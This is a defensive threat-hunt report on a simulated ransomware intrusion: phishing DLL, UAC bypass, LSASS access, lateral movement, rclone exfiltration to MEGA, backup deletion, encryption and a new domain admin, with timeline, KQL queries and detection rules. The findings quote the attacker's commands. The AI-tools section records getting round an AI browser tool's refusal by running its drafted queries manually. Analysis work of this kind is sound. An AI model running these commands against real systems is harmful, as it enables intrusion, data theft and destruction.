TLP:CLEAR · SIMULATED RANGE DATA

CYBER RANGE · HUNT 22

Harborlight.

One phishing download on a front-office PC became **Akira ransomware on all three hosts** in just over three hours, with the shared files sent to MEGA and a new domain admin left behind.

HOSTS ENCRYPTED	TO THE DC	BEACONING AFTER	FLAGS
3 of 3	**2h 29m**	**13h 30m**	**46 / 46**
05:13:05 to 05:17:35 UTC	first execution to C$ on the DC	the DC still beaconing at the end of the data	first finisher · on time

§ 01 Front matter

FIELD	VALUE
Hunt	Cyber Range Hunt 22, "Harborlight" (HL-INC-2026-0204)
Author	Ken Kariuki
Version	v3.0, 2026-10-23
Result	46 of 46 flags, 4,060 / 4,190 points, completed on time; first finisher on the scoreboard at completion
Classification	TLP:CLEAR (simulated range data; the hunt closed on 2026-10-13)
Distribution	Public

VERSION	DATE	CHANGE
1.0	2026-10-03	Written during the live hunt
2.0	2026-10-03	Confidence labels; seven detection rules tested on the dataset; the change that closes each gap
3.0	2026-10-23	17-section structure; every finding re-run on the same dataset; Windows Security, PowerShell and Defender logs added; eleven detections replayed; exhibits E1–E11

Clock note

Every event is on 2026-02-04, and every time in this report is UTC from `EventTime`. `TimeGenerated` is ingestion time (every row was ingested on 2026-08-18 between 15:57 and 15:59 UTC), so each query bounds `TimeGenerated` wide and orders by `EventTime`. The portal displays Pacific time (PST, UTC-8), so 01:57 UTC shows as 3 Feb 5:57 PM.

Labels

"`(Confidence: High/Medium/Low)`" marks inferences only; logged facts cite an exhibit (E#, App C). Passwords that appear in the attacker's command lines are masked in every exhibit.

§ 02 Executive summary

At 01:57:15 UTC Emily Grant, a front-office user, downloaded `Vendor_Invoice_Review.7z` in Edge. She installed 7-Zip to open it, and the ISO inside carried `review.dll`, which `rundll32.exe` ran at 01:59:15. A second lure re-ran the same DLL at 02:25:06, and one second later the implant was talking to `cdn.cloud-endpoint.net`, a host name behind Cloudflare.

From that one workstation the attacker took the estate in just over three hours. They bypassed UAC, ran as SYSTEM inside the Print Spooler, opened LSASS with full access on all three hosts, and used **Emily.Grant's own password** to mount the admin shares of the file server (03:34:09) and the domain controller (04:28:22). On the file server they pulled their tools from a second host name, `sync.cloud-endpoint.net`, switched Defender off, copied `C:\Shares` to a MEGA account and destroyed the backups; on the domain controller they copied the Active Directory database. **Akira** ransomware ran on all three hosts between 05:13:05 and 05:17:35, the logs were cleared, and the directory recorded a new account, `svc_sql`, added to **Domain Admins** at 05:22:57.

The incident did not end with the ransom notes. Microsoft Defender quarantined the workstation's implant at 09:24:04, the only control that acted all day, and nobody followed it to the servers. When someone finally signed in at the file server's console at 13:44:55, as its local Administrator, the sign-in started a second copy of the implant under that account; the server's three implants were still beaconing when its data ends at 14:47:52. The domain controller was never touched and was still beaconing at 18:47:29, the last event in the data. Observed dwell: 16 h 50 min 14 s. The stolen share, the AD database copy and the `svc_sql` domain admin all remain with the attacker. Severity: Critical.

HOSTS ENCRYPTED
3 of 3
128 notes, 27 files (E6)

DATA TO MEGA
Sent
volume not determined (B1)

ALERTS ACTED ON
0
Defender quarantined one implant itself (E10)

NEW DOMAIN ADMIN
svc_sql
Domain Admins at 05:22:57 (E6)

Recommended now

Isolate the file server and the domain controller; block both `cloud-endpoint.net` host names; disable `svc_sql`; reset every domain password and the `krbtgt` password twice; rebuild the domain controller from a backup taken before 4 February; and start the breach-notification process for the patient and claims data on `C:\Shares`. Nobody signs in to an infected host before it is isolated (F9).

§ 03 Overview

ITEM	VALUE
Hunt type	Live community hunt, flag-guided (46 questions), on a simulated intrusion
Client	Harborlight Dental & Insurance; IT run by Coastal MSP, with no SOC and no alert queue (range brief)
Subject	Emily.Grant, front-office user on BACKOFFICE-PC1
Hosts	BACKOFFICE-PC1 (172.16.0.109, workstation) · HL-FS01 (172.16.0.8, file server) · ADDC01 (172.16.0.7, domain controller); domain HARBORLIGHT (Harborlight.local), one flat /24
Period	2026-02-04 00:00:18 UTC to 2026-02-04 18:47:29 UTC (E9)
Data	`HarborlightDental_CL` in workspace LAW-SilentCorridor, 44,989 rows: Sysmon 27,231, Windows event logs 17,758 (E9), queried from Microsoft Defender Advanced Hunting and the Log Analytics query API
Analyst	Ken Kariuki, lead analyst, with AI tooling (§16); live hunt 2026-10-03, re-analysis 2026-10-23
Classification; severity	Human-operated ransomware with data theft and domain compromise; Critical `(Confidence: High)`

§ 04 Hypothesis and ABLE

Hypothesis

A phishing download on the front-office workstation gave an operator a foothold, which they widened with the user's own credentials to the file server and the domain controller, then used to steal the shared files and encrypt all three hosts.

ABLE	CONTENT
Actor	Unknown operator using Akira-branded ransomware; infrastructure `cdn.cloud-endpoint.net` and `sync.cloud-endpoint.net` behind Cloudflare; MEGA account `jwilson.vhr@proton.me`
Behaviour	Archive and ISO lure, DLL through rundll32, UAC bypass, injection into the Print Spooler, LSASS access, admin-share lateral movement, staged tool downloads, rclone to MEGA, anti-recovery, encryption, log clearing, a new domain admin
Location	BACKOFFICE-PC1, HL-FS01, ADDC01
Evidence	Sysmon 1, 3, 8, 10, 11, 12, 13, 15, 22, 29; Security 4624, 4625, 4720, 4728, 4732, 1102; System 104, 1074; PowerShell 4104; Defender 1116, 1117

Counter-hypotheses, judged in §10: H1 insider (Emily); H2 the MSP's own administration; H3 a commodity infection with no operator; H4 encryption without data theft.

§ 05 Threat intel inputs

The range brief set the scenario, the hosts and the table. Public reporting on Akira, CISA and FBI advisory AA24-109A ("#StopRansomware: Akira Ransomware", released 2024-04-18, updated 2025-11-13), served for cross-reference: it lists rclone to MEGA for exfiltration, abuse of remote tools such as AnyDesk, and vssadmin shadow-copy deletion. No indicator came from intel; every indicator in App D comes from the logs. The chain matches that reporting in broad strokes (technique similarity, not attribution; Confidence: Low): the ransomware binary was not analysed, and the note name and the `.akira` extension are all that tie it to Akira.

§ 06 Scope, data sources and blind spots

SOURCE	ROWS (E9)	SHOWS	COVERAGE CONFIDENCE
Sysmon (EventID, Computer)	27,231	Process, network, file, registry, DNS, process access	High on all three hosts
Windows Security (EventCode, ComputerName)	15,876	Sign-ins, account and group changes, log clears	High on the servers; partial on the workstation (B3)
PowerShell Operational	952	Script blocks (4104), mostly on the file server	High where it ran
Windows System and Application	911	Services, log clears (104), power events (1074)	Medium
Defender Operational	19	Detections and configuration changes	Workstation only (B2)
Network, proxy, firewall, DNS server; MSP and AnyDesk logs; MEGA	–	Not available	None

B1 No network, proxy, firewall or DNS-server logs: the bytes sent to MEGA and the content of the beacons are not observable.

B2 Defender's own log is collected only from the workstation; the servers' Defender state after 04:03 is inferred from the commands that switched it off (E10).

B3 The workstation's log-clear events (1102, 104) are missing, although `wevtutil cl` ran there 21 times (E5).

B4 Most Sysmon fields sit in `EventData_Xml`; the flattened columns are empty for events 8 and 10.

B5 `TimeGenerated` is ingestion time (clock note); `EventTime` is used throughout.

B6 No memory, disk images or binaries: `review.dll`, `taskhostw.exe` and `updater.exe` are known by path, behaviour and Defender verdict only.

B7 No AnyDesk or MSP-side logs: who used AnyDesk at 10:43 and 13:47 cannot be told.

B8 The data ends at 18:47:29; whether the domain controller's beacon stopped or collection ended is not known.

§ 07 Execution

Method

The live hunt followed the 46 questions in order; each answer was taken from a query result and checked against the raw rows before it was submitted (§16). Version 3 re-ran every finding on 2026-10-23 against the same dataset and saved each query with its output as an exhibit: the lures and first execution (E1), the UAC bypass (E2), injection and LSASS access (E3), admin shares, WMI and the copy to MEGA (E4), anti-recovery and log clearing (E5), encryption, the new domain admin and the last beacons (E6), the consoles after the encryption (E7), the detection replay (E8), the dataset itself (E9), what Defender and PowerShell logging saw (E10), and the file server's beacons around the first sign-in (E11). Version 3 also read the three log families v2 had not used: Windows Security, PowerShell script blocks and Defender.

Dead ends

The 268 Credential Manager reads (5379) are the operating system's own, all day long. `akira_svc` is only looked up (`net user akira_svc /domain`), never created: the only account created is `svc_sql` (E6). The genuine OneDrive client opening other processes under Emily's profile is routine. The first two `net group "Domain Admins"` attempts failed on mangled quoting. The Defender tamper detection at 01:14 is Defender's own (§9.11). Account changes by ANONYMOUS LOGON at 00:16:44 (`svc_backup`) and 06:16:44 (`svc_sql`) fall at the same minute and second six hours apart, which looks like a periodic background job `(Confidence: Medium)`. The `RuntimeBroker.exe` copies that v2 left unresolved are attacker downloads (F4).

§ 08 Timeline

00:29:02 2026-02-04 UTC
AnyDesk is already running on BACKOFFICE-PC1, 88 minutes before the first lure
Sysmon 10 · E7

01:57:15 2026-02-04 UTC
Edge downloads `Vendor_Invoice_Review.7z` to Emily's Downloads; 7-Zip follows at 01:58:13
Sysmon 15 · E1

01:59:15 2026-02-04 UTC
`rundll32.exe D:\review.dll,StartW` from the mounted ISO (again at 01:59:32 and 02:00:08)
Sysmon 1 · E1

02:25:06 2026-02-04 UTC
Second lure: a loop over drive letters D to J runs `review.dll` from E:
Sysmon 1 · E1

02:25:07 2026-02-04 UTC
First C2: rundll32 resolves `cdn.cloud-endpoint.net` (104.21.30.237, 172.67.174.46)
Sysmon 22, 3 · App A q4

02:32:48 2026-02-04 UTC
rundll32 injects into notepad.exe
Sysmon 8 · E3

02:42:39 2026-02-04 UTC
fodhelper reaches High integrity; `taskhostw.exe` starts High at 02:42:40
Sysmon 1, 13 · E2

02:47:11 2026-02-04 UTC
taskhostw.exe injects into spoolsv.exe (SYSTEM); spoolsv opens lsass.exe with 0x1fffff at 02:49:46
Sysmon 8, 10 · E3

02:56:31 2026-02-04 UTC
Through notepad.exe, the implant resolves the domain's hosts, sweeps port 445 and writes `20260203185934_recon.zip`
Sysmon 3, 11, 22 · v2

03:34:09 2026-02-04 UTC
`net use Z: \\172.16.0.8\C$` as Emily.Grant, password in clear; the implant is copied to HL-FS01
Sysmon 1 · E4

03:41:54 2026-02-04 UTC
HL-FS01: Run key `SecurityHealth` and task `WindowsUpdate` (onstart, SYSTEM), both to taskhostw.exe
Sysmon 13, 1 · App D

03:42:36 2026-02-04 UTC
HL-FS01: first log wipe; the server logs its own clear events
Sysmon 1; Security 1102; System 104 · E5

03:44:57 2026-02-04 UTC
HL-FS01: `powershell -enc` downloads tools from `sync.cloud-endpoint.net` (five files to 03:53:43)
PowerShell 4104 · E10

03:57:40 2026-02-04 UTC
HL-FS01: renamed rclone copies `C:\Shares` to `mega:HARBORLIGHT-exfil` (again at 03:58:33 and 04:00:14)
Sysmon 1, 22 · E4

04:03:50 2026-02-04 UTC
HL-FS01: five Defender protections switched off (again at 04:05:13)
PowerShell 4104 · E10

04:04:05 2026-02-04 UTC
HL-FS01: shadow copies, boot recovery and the backup catalog deleted (again at 04:05:12–04:05:26)
Sysmon 1 · E5

04:28:22 2026-02-04 UTC
`net use Y: \\172.16.0.7\C$` from HL-FS01 with the same account
Sysmon 1 · E4

04:33:55 2026-02-04 UTC
ADDC01: `ntdsutil` IFM copies the AD database to `C:\Windows\Temp\ntds` (again at 04:35:35)
Sysmon 1 · E5

04:42:28 2026-02-04 UTC
ADDC01: WMI `process call create` deletes shadow copies
Sysmon 1 · E4

05:13:05 2026-02-04 UTC
Akira `updater.exe` runs: HL-FS01 05:13:05, ADDC01 05:14:15, BACKOFFICE-PC1 05:17:35
Sysmon 11 · E6

05:18:21 2026-02-04 UTC
Sixteen log channels cleared per host, to 05:20:01
Sysmon 1; Security 1102 · E5

05:22:57 2026-02-04 UTC
`svc_sql` (created 05:21:56, added to Administrators 05:22:28) added to Domain Admins
Security 4720, 4732, 4728 · E6

09:24:04 2026-02-04 UTC
Defender quarantines the workstation's taskhostw.exe (Trojan:Win32/SuspGolang.AG); that host's last beacon was 09:23:49
Defender 1116, 1117 · E10, E6

10:43:40 2026-02-04 UTC
AnyDesk on the workstation resolves its relay hosts (who connected is not logged)
Sysmon 22 · E7

13:44:55 2026-02-04 UTC
HL-FS01 console sign-in as the local Administrator after three failures; Explorer starts a second copy of the implant at 13:45:16
Security 4625, 4624; Sysmon 1 · E7, E11

13:49:31 2026-02-04 UTC
Workstation console sign-in as the local helpdesk account, which opens AnyDesk and reads its connection log
Security 4624; Sysmon 1 · E7

14:27:48 2026-02-04 UTC
The workstation is powered off
System 1074 · E7

14:47:52 2026-02-04 UTC
HL-FS01's data ends with all three implants still beaconing
Sysmon 3 · E6, E11

18:47:29 2026-02-04 UTC
ADDC01's last beacon, and the last event in the data
Sysmon 3 · E6, E9

§ 09 Findings

F1 One user, two lures, one DLL

STATE	Edge wrote both archives to Emily's Downloads, 7-Zip extracted each ISO, and `rundll32.exe` ran `review.dll,StartW` from D: three times, then from E: through a drive-letter loop; the first C2 lookup follows that run by one second.
SHOW	E1; App A q1.
INTERPRET	the archive-in-ISO packaging is a common way to keep the browser's download mark off the files inside `(Confidence: Medium; the mark is not logged)`, and the second lure was a relaunch, not new malware `(Confidence: High)`.

F2 Elevation, then SYSTEM through the Print Spooler

STATE	the implant pointed the per-user `ms-settings` handler at `C:\Users\Public\taskhostw.exe`; the first fodhelper stayed Medium, the launch through cmd produced a High fodhelper and a High taskhostw.exe one second later; taskhostw.exe then injected into spoolsv.exe on every host it reached.
SHOW	E2, E3.
INTERPRET	from 02:47 onwards the commands on each host come from the Print Spooler, as SYSTEM `(Confidence: High)`.

F3 Her own password opened both servers

STATE	`lsass.exe` was opened with PROCESS_ALL_ACCESS by spoolsv.exe on the workstation and by taskhostw.exe on all three hosts; Emily.Grant's password was typed in clear on `net use` to the file server's `C$` (03:34:09) and the domain controller's (04:28:22), and on a WMI command (04:42:28).
SHOW	E3, E4.
INTERPRET	the attacker knew her password `(Confidence: High)`; that it came from LSASS memory is likely but not proven, since no dump file is logged `(Confidence: Medium)`.

F4 The tools came from a second host name

STATE	on the file server, taskhostw.exe launched `powershell -enc` six times between 03:44:56 and 03:53:43, and script-block logging shows five downloads from `https://sync.cloud-endpoint.net/`: `RuntimeBroker.exe`, a fake `MsMpEng.exe` placed inside `C:\ProgramData\Microsoft\Windows Defender\`, `config.dat`, `update.bat` and `rclone.conf`.
SHOW	E10; App A q6.
INTERPRET	the operator staged the toolkit per host on demand, and v2's `RuntimeBroker.exe` copies are part of it `(Confidence: High)`.

F5 `C:\Shares` went to MEGA

STATE	rclone, renamed `MsMpEng.exe` in `C:\ProgramData\Microsoft`, ran `copy C:\Shares mega:HARBORLIGHT-exfil` three times between 03:57:40 and 04:00:14 and resolved MEGA storage nodes 39 times, to 04:03:39.
SHOW	E4.
INTERPRET	the upload ran and reached MEGA `(Confidence: High)`; the volume is not determined (B1).

F6 Recovery destroyed, the AD database copied, the logs cleared

STATE	the file server lost its shadow copies, boot recovery and backup catalog, each twice, 81 seconds apart; the domain controller's AD database was copied with `ntdsutil` IFM and its shadow copies deleted; `wevtutil cl` ran on all three hosts, and the servers logged their own clears (1102, 104).
SHOW	E5.
INTERPRET	every domain credential must be treated as exposed `(Confidence: High that the copy exists on the host; its transfer is not logged).`

F7 Encryption, and a domain admin the directory confirms

STATE	`updater.exe` wrote 128 ransom notes and renamed 27 distinct files to `.akira` across the three hosts; the domain controller logged `svc_sql` created (4720), added to Administrators (4732) and to Domain Admins (4728) at 05:22:57. `svc_sql` never signs in anywhere in the data.
SHOW	E6.
INTERPRET	`svc_sql` is a standing backdoor into the domain, not yet used `(Confidence: High; v2 rated this Medium before the directory's own events were read).`

F8 Defender acted once, on the workstation only

STATE	at 09:23:31 Defender on the workstation detected the implant as Trojan:Win32/SuspGolang.AG and quarantined taskhostw.exe at 09:24:04; that host's beacon stops at 09:23:49. On the file server the same implant had switched five Defender protections off at 04:03.
SHOW	E10, E6.
INTERPRET	the only control that worked all day was never seen by a person, so no response reached the two servers for another 4 h 20 min `(Confidence: High)`.

F9 The first response ran the backdoor again, as Administrator

STATE	at 13:44:55, after three failures, someone signed in at the file server's console as its local Administrator; within 22 seconds three ransom notes opened and `C:\Users\Public\taskhostw.exe` started under that account, launched by Explorer. The implants already running never stopped: after the launch taskhostw.exe's beacons roughly double, to 192 in the 47 minutes of the 14:00 hour against 94 and 96 for the other two implants, and the server's data ends at 14:47:52 with all three still beaconing. At 13:49:31 the workstation's local helpdesk account signed in, opened AnyDesk and read AnyDesk's `connection_trace.txt` twice; the workstation was powered off at 14:27:48. Nothing touched the domain controller.
SHOW	E7, E11, E6.
INTERPRET	the sign-in fired the Run-key persistence set at 03:41:54 `(Confidence: Medium; a manual launch would look the same)` and gave the attacker a copy running with the Administrator's token; the domain controller, the most valuable host, was still under attacker control when the data ends `(Confidence: High)`.

F10 AnyDesk was already there

STATE	AnyDesk.exe was running from 00:29:02, before the first lure; the implant's processes opened it between 02:47 and 03:31; it resolved AnyDesk relays at 10:43 and 13:47, and the helpdesk account used it at 13:50.
SHOW	E7.
INTERPRET	most likely the MSP's own remote-support tool `(Confidence: Medium)`; whether the attacker used it is not determined (B7).

9.11 Negative findings

LOOKED FOR	WHERE	METHOD	RESULT
Attacker activity before the first lure	BACKOFFICE-PC1, 00:55 to 01:57	Process creation	None: updaters, a service host and Emily starting Edge at 01:53:40
Defender's 01:14 tamper detection as part of the attack	BACKOFFICE-PC1	E10; registry events	Defender's own process and services.exe rewrote its service keys at 01:13:59; judged Defender's own `(Confidence: Medium)`
Other accounts created	Security 4720, all hosts	E6	Only `svc_sql`; `akira_svc` is only looked up
Other privileged-group changes	Security 4728, 4732, 4756	E8 R11	Only the two `svc_sql` additions
`svc_sql` used	Security, all hosts	Sign-ins and Kerberos events naming it	None after its creation
Attacker services	Security 4697; System 7045	Service installs	Only Windows' per-user services, created by the 13:44 and 13:49 sign-ins
A beacon from the workstation after the quarantine	Sysmon 3	E6	None after 09:23:49

LOOKED FOR	WHERE	METHOD	RESULT
The AD database copy leaving the DC	Sysmon 3, 11	Network and file events	None logged (B1)

§ 10 Hypothesis outcome

Confirmed

on logged facts: the lures and first execution (E1), the admin-share movement with Emily's password (E4), the copy to MEGA (E4), the AD database copy (E5), encryption on all three hosts and the new domain admin (E6). **Not determined:** how much data reached MEGA (B1), whether the AD database copy left the host (B1), and who was at the consoles after the encryption (B7).

COUNTER-HYPOTHESIS	VERDICT AND EVIDENCE
H1 Insider (Emily)	Rejected `(Confidence: High)`: her own logged steps are two downloads and two extractions; everything after runs from implant processes, as SYSTEM, at machine speed (E1–E3)
H2 The MSP's own administration	Rejected `(Confidence: High)`: a renamed rclone to a proton.me MEGA account, deleted backups and ransomware (E4–E6); the sign-ins after 13:44 fit a response instead (F9)
H3 A commodity infection with no operator	Rejected `(Confidence: Medium)`: tools staged per host on demand (E10), commands retyped after mangled quoting, and a new domain admin
H4 Encryption without theft	Rejected `(Confidence: High)`: three rclone copies of `C:\Shares` and 39 MEGA lookups (E4)

Dwell

Observed span 16 h 50 min 14 s, from the download at 01:57:15 to the last event at 18:47:29. First execution to the domain controller: 2 h 29 min 07 s (01:59:15 to 04:28:22); to the first encryption: 3 h 13 min 50 s. Beaconing outlived the last encryption by 13 h 29 min 54 s. Time to detection: Defender's first true detection came at 09:23:31, 7 h 26 min 16 s after the download, and no person acted until 13:44:55. End of exposure: not established (B8).

Scope and impact

Three of three hosts encrypted; 27 files renamed `.akira` and 128 notes. Accounts: Emily.Grant (password known to the attacker) and `svc_sql` (Domain Admins); every domain credential is exposed through the AD database copy. Data: `C:\Shares` on the file server of a dental and insurance practice left for MEGA; its contents are not logged, so it is treated as patient and claims data. Recovery: shadow copies, boot recovery and the backup catalog on the file server destroyed. Legal decides on notification.

§ 11 ATT&CK coverage

STAGE	ATT&CK	STATUS
Initial access	T1566 Phishing (the download is logged; how it reached her is not)	Download observed; delivery inferred

STAGE	ATT&CK	STATUS
Execution	T1204.002 Malicious File; T1218.011 Rundll32; T1059.001 PowerShell; T1059.003 Windows Command Shell; T1047 Windows Management Instrumentation	Observed
Defence evasion	T1553.005 Mark-of-the-Web Bypass (inferred, F1); T1055 Process Injection; T1036.005 Match Legitimate Name or Location; T1027 Obfuscated Files or Information (`-enc`); T1562.001 Disable or Modify Tools; T1070.001 Clear Windows Event Logs	Observed, except T1553.005
Privilege escalation	T1548.002 Bypass User Account Control	Observed
Credential access	T1003.001 LSASS Memory (full-access opens; no dump logged); T1003.003 NTDS	Observed
Discovery	T1018 Remote System Discovery; T1046 Network Service Discovery	Observed
Lateral movement	T1021.002 SMB/Windows Admin Shares; T1078.002 Domain Accounts; T1570 Lateral Tool Transfer	Observed
Command and control	T1071.001 Web Protocols; T1105 Ingress Tool Transfer	Observed; the real server behind Cloudflare is not identified
Exfiltration	T1567.002 Exfiltration to Cloud Storage	Observed; volume not determined (B1)
Persistence	T1547.001 Registry Run Keys; T1053.005 Scheduled Task; T1136.002 Domain Account; T1098.007 Additional Local or Domain Groups	Observed
Impact	T1486 Data Encrypted for Impact; T1490 Inhibit System Recovery; T1489 Service Stop	Observed

Hunted, not observed: T1219 Remote Access Software (AnyDesk was installed before the intrusion; attacker use is not shown, F10); T1090.004 Domain Fronting (Cloudflare addresses only; fronting cannot be told from ordinary proxying here).

§ 12 Detection and telemetry gaps

Owners are proposed, not accepted.

GAP	IMPACT	FIX (OWNER)	ACCEPTANCE TEST
Defender's workstation alert reached nobody (F8)	The servers kept beaconing for hours	Send Defender alerts to the MSP's on-call pager (MSP)	A test detection on the workstation pages the on-call within 5 minutes
Defender could be switched off from a script on the server (F4)	The file server had no protection from 04:03	Tamper Protection on every server (MSP)	`Set-MpPreference -DisableRealtimeMonitoring $true` from an admin shell leaves protection on
A front-office user could mount an ISO and run a DLL from it	The foothold	Block ISO mounting; application control on mounted drives and `C:\Users\Public` (MSP)	A standard user cannot run a DLL from D: or an EXE from Public

GAP	IMPACT	FIX (OWNER)	ACCEPTANCE TEST
fodhelper elevated silently	SYSTEM on the workstation	UAC "Always notify"; no local admin for front-office accounts (MSP)	The same registry change no longer produces a High process
LSASS was readable on all three hosts	Credential theft	LSASS protection (RunAsPPL) and Credential Guard (MSP)	A full-access open of lsass.exe is denied
A workstation reached the admin shares of both servers	Lateral movement in two hops	Segment the network; block SMB and RPC from workstations to servers (MSP)	A port test from the workstation to both servers on 445 and 135 fails
One user's password opened `C$` on the domain controller	Domain compromise	Users out of server administrators; separate admin accounts with MFA (MSP)	`net use \\ADDC01\C$` as Emily.Grant is refused
Data could go to consumer cloud storage	Exfiltration	Block MEGA and similar services at the firewall and in DNS (MSP)	A MEGA lookup from the file server is blocked and logged
Backups could be deleted from the host	No recovery	An offline or immutable copy of `C:\Shares` and the domain controller (MSP)	A test restore from that copy succeeds
A new domain admin raised no alert	A standing backdoor	Alert on 4728 and 4732 for privileged groups, R11 (MSP)	Adding a test account to Domain Admins alerts within minutes
Logs were cleared on the hosts, and the workstation's clear events never arrived (B3)	Lost evidence	Forward logs as they are written; alert on 1102 and 104 (MSP)	Clearing a test channel alerts and loses nothing centrally
The first responder signed in to an infected server, and the sign-in ran a second copy of the implant as Administrator (F9)	Attacker code with a privileged token; the server was never isolated	An incident runbook: isolate before any interactive sign-in, and never sign in to a suspected host with a privileged account (MSP)	A tabletop exercise in which the responder isolates first
R3 and R7 skip any path containing "Windows Defender"	The fake `MsMpEng.exe` inside that folder escapes both rules	Exclude only `\Windows Defender\Platform\`, by signer (MSP)	A replay flags the 03:47:19 file

§ 13 New detections

All eleven were replayed on 2026-10-23 against the whole dataset (E8, App B). R1–R7 are the v2 rules and return the v2 counts exactly; R8–R11 were logic only in v2 and are written and tested here. A false positive is a hit on anything that is not attack activity; the dataset carries a day of ordinary background (Edge and OneDrive updaters, WMI, compatibility telemetry), and no rule fires on it. One simulated day is a thin benign baseline, so status for all eleven: proposed.

RULE	LOGIC (SOURCE)	MAPS TO	HITS / FP (UNIT)
R1	rundll32.exe running a DLL from a drive other than C: (Sysmon 1)	T1218.011	4 / 0 (processes)

RULE	LOGIC (SOURCE)	MAPS TO	HITS / FP (UNIT)
R2	`ms-settings\shell\open\command` written, by command line or registry event (Sysmon 1, 13)	T1548.002	6 / 0 (events)
R3	A program started from `C:\Users\Public` or `C:\ProgramData\Microsoft` (Sysmon 1)	T1036.005	7 / 0 (processes)
R4	Remote thread into spoolsv.exe or notepad.exe (Sysmon 8)	T1055	13 / 0 (threads)
R5	`--config` + `copy` + a named remote on one command line (Sysmon 1)	T1567.002	3 / 0 (processes)
R6	An account added to the domain or an admin group from a command line (Sysmon 1)	T1136.002, T1098.007	13 / 0 (processes)
R7	A DNS lookup by a program in Public, ProgramData or by rundll32.exe (Sysmon 22)	T1071.001	64 / 0 (lookups)
R8	lsass.exe opened with 0x1fffff by anything but Defender (Sysmon 10)	T1003.001	5 / 0 (opens)
R9	WMI `process call create` on a node, or a shell started by WmiPrvSE.exe (Sysmon 1)	T1047	1 / 0 (processes)
R10	Shadow-copy, boot-recovery, backup-catalog, AD-export or log-clear commands, and the logs' own clear events (Sysmon 1; Security 1102; System 104)	T1490, T1003.003, T1070.001	128 / 0 (events)
R11	A member added to Domain, Enterprise or Schema Admins or Administrators (Security 4728, 4732, 4756)	T1098.007	2 / 0 (changes)

Expected false positives and tuning: R1 installers on mounted media (allow by signer); R3 vendor updaters under ProgramData (audit first, then allow by signer; narrow the Defender exclusion to `\Platform\`, §12); R4 accessibility and security tools (exclude signed vendor paths, never a source in Public); R5 a genuine rclone backup (allow by host and account, never by file name, since the attacker renamed the tool); R6 and R11 real provisioning (alert outside change windows); R7 vendor agents (allow known signers); R8 backup and EDR agents (allow by signer); R9 management tools (allow known admin hosts); R10 a planned backup rotation (rare enough to alert on every hit).

§ 14 Handover to IR

Compromise confirmed: human-operated ransomware with data theft and a domain compromise. For the client IR lead and Legal; every action is recommended, not executed (range).

#	RISK (SINCE)	ACTION
1	The file server and the domain controller under attacker control; the DC still beaconing at the end of the data (since 2026-02-04 03:35:11 UTC)	Isolate both now; block `cdn.cloud-endpoint.net` and `sync.cloud-endpoint.net` at DNS and the firewall
2	`svc_sql` in Domain Admins (since 2026-02-04 05:22:57 UTC)	Disable and delete it; review every privileged group
3	The AD database copied (since 2026-02-04 04:33:55 UTC)	Reset every domain password and the `krbtgt` password twice; rebuild the DC from a backup taken before 4 February

#	RISK (SINCE)	ACTION
4	Emily.Grant's password known to the attacker (since 2026-02-04 03:34:09 UTC at the latest)	Reset it and review her sign-ins
5	`C:\Shares` exfiltrated (since 2026-02-04 03:57:40 UTC)	Legal: notification decision for patient and claims data
6	Implants and persistence remain: Run key `SecurityHealth`, task `WindowsUpdate`, `OneDriveSync.exe`, `wsync.exe`, `RuntimeBroker.exe`	Remove them from isolated hosts; never sign in interactively before isolation (F9)
7	Recovery destroyed on the file server	Restore from an offline copy, if one exists
8	Evidence ages out	Preserve the table's rows and AnyDesk's `connection_trace.txt`

A password reset on its own would not help: the domain admin, the AD database copy and the implants would all survive it.

§ 15 Next-hunt leads

LEAD	DATA NEEDED
Who used AnyDesk at 10:43 and 13:47 (F10)	AnyDesk connection logs and `connection_trace.txt`; the MSP's records
How much of `C:\Shares` reached MEGA	Firewall or proxy logs from 2026-02-04 03:57:40 UTC
Whether the AD database copy left the DC	Network logs; file-share auditing on ADDC01
The real server behind `cloud-endpoint.net`	Passive DNS; a Cloudflare abuse report
Who was at the two consoles at 13:44 and 13:49	The MSP's ticket and on-call records
The workstation's missing log-clear events (B3)	The workstation's own Security and System logs, if they survive

§ 16 AI tools declaration

I ran this hunt as the lead analyst and used Claude (Anthropic), through Claude Code, as my AI tooling.

The live hunt (3 October). Claude drafted KQL and ran it in an Advanced Hunting tab in my signed-in browser, then returned the raw results. Where its browser tool refused credential-access and anti-recovery queries, I ran the drafted KQL in my own tab. I set the order of the pivots, checked each answer against its raw result and submitted every answer myself. I used two paid wording hints (15 points each) and one reveal, on the anti-recovery repeat flag, where the grader rejected an answer the data and the hints supported (reported to staff).
This version (23 October). Claude restructured the report into the 17-section format I now use for live hunts, re-ran every exhibit query and all eleven detection rules against the same dataset through the range's Log Analytics query tool, drafted the new sections, and found the Windows Security, PowerShell and Defender evidence that v2 had not used. I reviewed each new finding against its exhibit and approved all text.
Data handling. I signed in to every portal myself; no passwords or keys were given to the AI. The passwords in the attacker's command lines are masked in every exhibit.

§ 17 Appendices

A Queries

All queries run against `workspace("LAW-SilentCorridor").HarborlightDental_CL` with a wide `TimeGenerated` bound and `EventTime` for order (clock note). The exhibit queries (E1–E11) are printed with their output in App C.

```
// q1 What landed in Downloads, and what wrote it (initial access)
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and Computer has "BACKOFFICE-PC1" and EventID in ("11","15")
| extend T = column_ifexists("TargetFilename",""), Img = column_ifexists("Image","")
| where T has "Downloads"
| project EventTime, EventID, Img, T
| order by EventTime asc

// q2 Process tree with integrity level (the fodhelper attempts)
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and Computer has "BACKOFFICE-PC1" and EventID == "1"
| extend X = tostring(EventData_Xml)
| extend Img = extract("Image.>([^<]+)", 1, X), Cmd = extract("CommandLine.>([^<]+)", 1, X),
         IL = extract("IntegrityLevel.>([^<]+)", 1, X), Parent = extract("ParentImage.>([^<]+)", 1, X)
| where Img has_any ("fodhelper", "taskhostw", "reg.exe")
| project EventTime, Img, Cmd, IL, Parent
| order by EventTime asc

// q3 Injection into the Print Spooler, per host
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and EventID in ("8","10")
| extend X = tostring(EventData_Xml)
| extend Src = extract("SourceImage.>([^<]+)", 1, X), Tgt = extract("TargetImage.>([^<]+)", 1, X),
         Access = extract("GrantedAccess.>([^<]+)", 1, X)
| where Tgt has "spoolsv"
| summarize First = min(tostring(EventTime)), n = count() by Computer, EventID, Src, Access

// q4 Beaconing: destination, port, volume and last-seen per implant
workspace("LAW-SilentCorridor").HarborlightDental_CL
| where TimeGenerated > ago(1000d) and EventID == "3"
| extend X = tostring(EventData_Xml)
